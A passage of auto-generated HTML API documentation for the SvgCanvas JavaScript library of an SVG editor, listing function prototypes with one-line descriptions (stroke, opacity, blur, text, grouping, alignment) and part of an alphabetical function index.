nowrap>paint</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Set a color/gradient to a fill/stroke</div></div><div class=CToolTip id="tt103"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getStrokeWidth = function()</td></tr></table></blockquote>Returns the current stroke-width value</div></div><div class=CToolTip id="tt104"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setStrokeWidth = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the stroke width for the current selected elements When attempting to set a line&rsquo;s width to 0, this changes it to 1 instead</div></div><div class=CToolTip id="tt105"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setStrokeAttr = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Set the given stroke-related attribute the given value for selected elements</div></div><div class=CToolTip id="tt106"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getOpacity = function()</td></tr></table></blockquote>Returns the current opacity</div></div><div class=CToolTip id="tt107"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setOpacity = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the given opacity to the current selected elements</div></div><div class=CToolTip id="tt108"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getStrokeOpacity = function()</td></tr></table></blockquote>Returns the current stroke opacity</div></div><div class=CToolTip id="tt109"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setPaintOpacity = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the current fill/stroke opacity</div></div><div class=CToolTip id="tt110"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getBlur = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Gets the stdDeviation blur value of the given element</div></div><div class=CToolTip id="tt111"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlurNoUndo = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the stdDeviation blur value on the selected element without being undoable</div></div><div class=CToolTip id="tt112"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlurOffsets = function(</td><td class=PParameter nowrap>filter,</td></tr><tr><td></td><td class=PParameter nowrap>stdDev</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the x, y, with, height values of the filter element in order to make the blur not be clipped. </div></div><div class=CToolTip id="tt113"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>canvas.setBlur = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>complete</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds/updates the blur filter to the selected element</div></div><div class=CToolTip id="tt114"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getBold = function()</td></tr></table></blockquote>Check whether selected element is bold or not</div></div><div class=CToolTip id="tt115"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBold = function(</td><td class=PParameter nowrap>b</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Make the selected element bold or normal</div></div><div class=CToolTip id="tt116"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getItalic = function()</td></tr></table></blockquote>Check whether selected element is italic or not</div></div><div class=CToolTip id="tt117"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setItalic = function(</td><td class=PParameter nowrap>i</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Make the selected element italic or normal</div></div><div class=CToolTip id="tt118"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getFontFamily = function()</td></tr></table></blockquote>Returns the current font family</div></div><div class=CToolTip id="tt119"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setFontFamily = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Set the new font family</div></div><div class=CToolTip id="tt120"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getFontSize = function()</td></tr></table></blockquote>Returns the current font size</div></div><div class=CToolTip id="tt121"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setFontSize = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Applies the given font size to the selected element</div></div><div class=CToolTip id="tt122"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getText = function()</td></tr></table></blockquote>Returns the current text (textContent) of the selected element</div></div><div class=CToolTip id="tt123"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setTextContent = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Updates the text element with the given string</div></div><div class=CToolTip id="tt124"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setImageURL = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the new image URL for the selected image element. </div></div><div class=CToolTip id="tt125"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setRectRadius = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the rx &amp; ry values to the selected rect element to change its corner radius</div></div><div class=CToolTip id="tt126"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setSegType = function(</td><td class=PParameter nowrap>new_type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the new segment type to the selected segment(s).</div></div><div class=CToolTip id="tt127"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.convertToPath = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>getBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Convert selected element to a path, or get the BBox of an element-as-path</div></div><div class=CToolTip id="tt128"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttributeNoUndo = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>newValue,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function makes the changes to the elements. </div></div><div class=CToolTip id="tt129"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttribute = this.changeSelectedAttribute = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument. </div></div><div class=CToolTip id="tt130"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteSelectedElements = function()</td></tr></table></blockquote>Removes all selected elements from the DOM and adds the change to the history stack</div></div><div class=CToolTip id="tt131"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.groupSelectedElements = function()</td></tr></table></blockquote>Wraps all the selected elements in a group (g) element</div></div><div class=CToolTip id="tt132"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.ungroupSelectedElement = function()</td></tr></table></blockquote>Unwraps all the elements in a selected group (g) element. </div></div><div class=CToolTip id="tt133"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.moveToTopSelectedElement = function()</td></tr></table></blockquote>Repositions the selected element to the bottom in the DOM to appear on top of other elements</div></div><div class=CToolTip id="tt134"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.moveToBottomSelectedElement = function()</td></tr></table></blockquote>Repositions the selected element to the top in the DOM to appear under other elements</div></div><div class=CToolTip id="tt135"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.moveSelectedElements = function(</td><td class=PParameter nowrap>dx,</td></tr><tr><td></td><td class=PParameter nowrap>dy,</td></tr><tr><td></td><td class=PParameter nowrap>undoable</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Moves selected elements on the X/Y axis</div></div><div class=CToolTip id="tt136"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.cloneSelectedElements = function()</td></tr></table></blockquote>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</div></div><div class=CToolTip id="tt137"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.alignSelectedElements = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>relative_to</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Aligns selected elements</div></div><div class=CToolTip id="tt138"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.updateCanvas = function(</td><td class=PParameter nowrap>w,</td></tr><tr><td></td><td class=PParameter nowrap>h</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Updates the editor canvas width/height/position after a zoom has occurred</div></div><div class=CToolTip id="tt139"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBackground = function(</td><td class=PParameter nowrap>color,</td></tr><tr><td></td><td class=PParameter nowrap>url</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Set the background of the editor (NOT the actual document)</div></div><div class=CToolTip id="tt140"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.cycleElement = function(</td><td class=PParameter nowrap>next</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Select the next/previous element within the current layer</div></div><!--END_ND_TOOLTIPS-->
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-<div id=Index><div class=IPageTitle>Function Index</div><div class=INavigationBar>$#! &middot; 0-9 &middot; <a href="#A">A</a> &middot; <a href="#B">B</a> &middot; <a href="#C">C</a> &middot; <a href="#D">D</a> &middot; <a href="#E">E</a> &middot; <a href="#F">F</a> &middot; <a href="Functions2.html#G">G</a> &middot; <a href="Functions2.html#H">H</a> &middot; <a href="Functions2.html#I">I</a> &middot; J &middot; K &middot; <a href="Functions2.html#L">L</a> &middot; <a href="Functions2.html#M">M</a> &middot; N &middot; O &middot; <a href="Functions2.html#P">P</a> &middot; Q &middot; <a href="Functions2.html#R">R</a> &middot; <a href="Functions3.html#S">S</a> &middot; <a href="Functions3.html#T">T</a> &middot; <a href="Functions3.html#U">U</a> &middot; V &middot; <a href="Functions3.html#W">W</a> &middot; X &middot; Y &middot; Z</div><table border=0 cellspacing=0 cellpadding=0><tr><td class=IHeading id=IFirstHeading><a name="A"></a>A</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.addCommandToHistory" id=link1 onMouseOver="ShowTip(event, 'tt1', 'link1')" onMouseOut="HideTip('tt1')" class=ISymbol>addCommandToHistory</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addExtension" id=link2 onMouseOver="ShowTip(event, 'tt2', 'link2')" onMouseOut="HideTip('tt2')" class=ISymbol>addExtension</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.addSubCommand" id=link3 onMouseOver="ShowTip(event, 'tt3', 'link3')" onMouseOut="HideTip('tt3')" class=ISymbol>addSubCommand</a>, <span class=IParent>SvgCanvas.<wbr>BatchCommand</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addSvgElementFromJson" id=link4 onMouseOver="ShowTip(event, 'tt4', 'link4')" onMouseOut="HideTip('tt4')" class=ISymbol>addSvgElementFromJson</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.addToSelection" id=link5 onMouseOver="ShowTip(event, 'tt5', 'link5')" onMouseOut="HideTip('tt5')" class=ISymbol>addToSelection</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.alignSelectedElements" id=link6 onMouseOver="ShowTip(event, 'tt6', 'link6')" onMouseOut="HideTip('tt6')" class=ISymbol>alignSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><span class=ISymbol>apply</span><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.apply" id=link7 onMouseOver="ShowTip(event, 'tt7', 'link7')" onMouseOut="HideTip('tt7')" class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.apply" id=link8 onMouseOver="ShowTip(event, 'tt8', 'link8')" onMouseOut="HideTip('tt8')" class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.apply" id=link9 onMouseOver="ShowTip(event, 'tt9', 'link9')" onMouseOut="HideTip('tt9')" class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.apply" id=link10 onMouseOver="ShowTip(event, 'tt10', 'link10')" onMouseOut="HideTip('tt10')" class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.assignAttributes" id=link11 onMouseOver="ShowTip(event, 'tt11', 'link11')" onMouseOut="HideTip('tt11')" class=ISymbol>assignAttributes</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="B"></a>B</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand" id=link12 onMouseOver="ShowTip(event, 'tt12', 'link12')" onMouseOut="HideTip('tt12')" class=ISymbol>BatchCommand</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.beginUndoableChange" id=link13 onMouseOver="ShowTip(event, 'tt13', 'link13')" onMouseOut="HideTip('tt13')" class=ISymbol>beginUndoableChange</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.bind" id=link14 onMouseOver="ShowTip(event, 'tt14', 'link14')" onMouseOut="HideTip('tt14')" class=ISymbol>bind</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="C"></a>C</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand" id=link15 onMouseOver="ShowTip(event, 'tt15', 'link15')" onMouseOut="HideTip('tt15')" class=ISymbol>ChangeElementCommand</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttribute" id=link16 onMouseOver="ShowTip(event, 'tt16', 'link16')" onMouseOut="HideTip('tt16')" class=ISymbol>changeSelectedAttribute</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.changeSelectedAttributeNoUndo" id=link17 onMouseOver="ShowTip(event, 'tt17', 'link17')" onMouseOut="HideTip('tt17')" class=ISymbol>changeSelectedAttributeNoUndo</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cleanupElement" id=link18 onMouseOver="ShowTip(event, 'tt18', 'link18')" onMouseOut="HideTip('tt18')" class=ISymbol>cleanupElement</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clear" id=link19 onMouseOver="ShowTip(event, 'tt19', 'link19')" onMouseOut="HideTip('tt19')" class=ISymbol>clear</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.clearSelection" id=link20 onMouseOver="ShowTip(event, 'tt20', 'link20')" onMouseOut="HideTip('tt20')" class=ISymbol>clearSelection</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cloneSelectedElements" id=link21 onMouseOver="ShowTip(event, 'tt21', 'link21')" onMouseOut="HideTip('tt21')" class=ISymbol>cloneSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.convertToNum" id=link22 onMouseOver="ShowTip(event, 'tt22', 'link22')" onMouseOut="HideTip('tt22')" class=ISymbol>convertToNum</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.convertToPath" id=link23 onMouseOver="ShowTip(event, 'tt23', 'link23')" onMouseOut="HideTip('tt23')" class=ISymbol>convertToPath</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.convertToXMLReferences" id=link24 onMouseOver="ShowTip(event, 'tt24', 'link24')" onMouseOut="HideTip('tt24')" class=ISymbol>convertToXMLReferences</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.copyElem" id=link25 onMouseOver="ShowTip(event, 'tt25', 'link25')" onMouseOut="HideTip('tt25')" class=ISymbol>copyElem</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.createLayer" id=link26 onMouseOver="ShowTip(event, 'tt26', 'link26')" onMouseOut="HideTip('tt26')" class=ISymbol>createLayer</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.cycleElement" id=link27 onMouseOver="ShowTip(event, 'tt27', 'link27')" onMouseOut="HideTip('tt27')" class=ISymbol>cycleElement</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="D"></a>D</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.decode64" id=link28 onMouseOver="ShowTip(event, 'tt28', 'link28')" onMouseOut="HideTip('tt28')" class=ISymbol>decode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteCurrentLayer" id=link29 onMouseOver="ShowTip(event, 'tt29', 'link29')" onMouseOut="HideTip('tt29')" class=ISymbol>deleteCurrentLayer</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.deleteSelectedElements" id=link30 onMouseOver="ShowTip(event, 'tt30', 'link30')" onMouseOut="HideTip('tt30')" class=ISymbol>deleteSelectedElements</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=IHeading><a name="E"></a>E</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><span class=ISymbol>elements</span><div class=ISubIndex><a href="../files/svgcanvas-js.html#SvgCanvas.BatchCommand.elements" id=link31 onMouseOver="ShowTip(event, 'tt31', 'link31')" onMouseOut="HideTip('tt31')" class=IParent>SvgCanvas.<wbr>BatchCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.ChangeElementCommand.elements" id=link32 onMouseOver="ShowTip(event, 'tt32', 'link32')" onMouseOut="HideTip('tt32')" class=IParent>SvgCanvas.<wbr>ChangeElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.InsertElementCommand.elements" id=link33 onMouseOver="ShowTip(event, 'tt33', 'link33')" onMouseOut="HideTip('tt33')" class=IParent>SvgCanvas.<wbr>InsertElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.MoveElementCommand.elements" id=link34 onMouseOver="ShowTip(event, 'tt34', 'link34')" onMouseOut="HideTip('tt34')" class=IParent>SvgCanvas.<wbr>MoveElementCommand</a><a href="../files/svgcanvas-js.html#SvgCanvas.RemoveElementCommand.elements" id=link35 onMouseOver="ShowTip(event, 'tt35', 'link35')" onMouseOut="HideTip('tt35')" class=IParent>SvgCanvas.<wbr>RemoveElementCommand</a></div></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.embedImage" id=link36 onMouseOver="ShowTip(event, 'tt36', 'link36')" onMouseOut="HideTip('tt36')" class=ISymbol>embedImage</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.encode64" id=link37 onMouseOver="ShowTip(event, 'tt37', 'link37')" onMouseOut="HideTip('tt37')" class=ISymbol>encode64</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr><tr><td class=IHeading><a name="F"></a>F</td><td></td></tr><tr><td class=ISymbolPrefix id=IFirstSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.ffClone" id=link38 onMouseOver="ShowTip(event, 'tt38', 'link38')" onMouseOut="HideTip('tt38')" class=ISymbol>ffClone</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDefs" id=link39 onMouseOver="ShowTip(event, 'tt39', 'link39')" onMouseOut="HideTip('tt39')" class=ISymbol>findDefs</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SelectorManager.findDuplicateGradient" id=link40 onMouseOver="ShowTip(event, 'tt40', 'link40')" onMouseOut="HideTip('tt40')" class=ISymbol>findDuplicateGradient</a>, <span class=IParent>SelectorManager</span></td></tr><tr><td class=ISymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.finishUndoableChange" id=link41 onMouseOver="ShowTip(event, 'tt41', 'link41')" onMouseOut="HideTip('tt41')" class=ISymbol>finishUndoableChange</a>, <span class=IParent>SvgCanvas</span></td></tr><tr><td class=ISymbolPrefix id=ILastSymbolPrefix>&nbsp;</td><td class=IEntry><a href="../files/svgcanvas-js.html#SvgCanvas.Utils.fromXml" id=link42 onMouseOver="ShowTip(event, 'tt42', 'link42')" onMouseOut="HideTip('tt42')" class=ISymbol>fromXml</a>, <span class=IParent>SvgCanvas.<wbr>Utils</span></td></tr></table>
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-<div class=CToolTip id="tt1"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>addCommandToHistory = c.undoCmd.add = function(</td><td class=PParameter nowrap>cmd</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a command object to the undo history stack</div></div><div class=CToolTip id="tt2"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.addExtension = function(</td><td class=PParameter nowrap>name,</td></tr><tr><td></td><td class=PParameter nowrap>ext_func</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Add an extension to the editor</div></div><div class=CToolTip id="tt3"><div class=CFunction>Adds a given command to the history stack</div></div><div class=CToolTip id="tt4"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addSvgElementFromJson = this.addSvgElementFromJson = function(</td><td class=PParameter nowrap>data</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</div></div><div class=CToolTip id="tt5"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addToSelection = this.addToSelection = function(</td><td class=PParameter nowrap>elemsToAdd,</td></tr><tr><td></td><td class=PParameter nowrap>showGrips</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a list of elements to the selection. </div></div><div class=CToolTip id="tt6"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.alignSelectedElements = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>relative_to</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Aligns selected elements</div></div><div class=CToolTip id="tt7"><div class=CFunction>Runs &ldquo;apply&rdquo; on all subcommands</div></div><div class=CToolTip id="tt8"><div class=CFunction>Performs the stored change action</div></div><div class=CToolTip id="tt9"><div class=CFunction>Re-Inserts the new element</div></div><div class=CToolTip 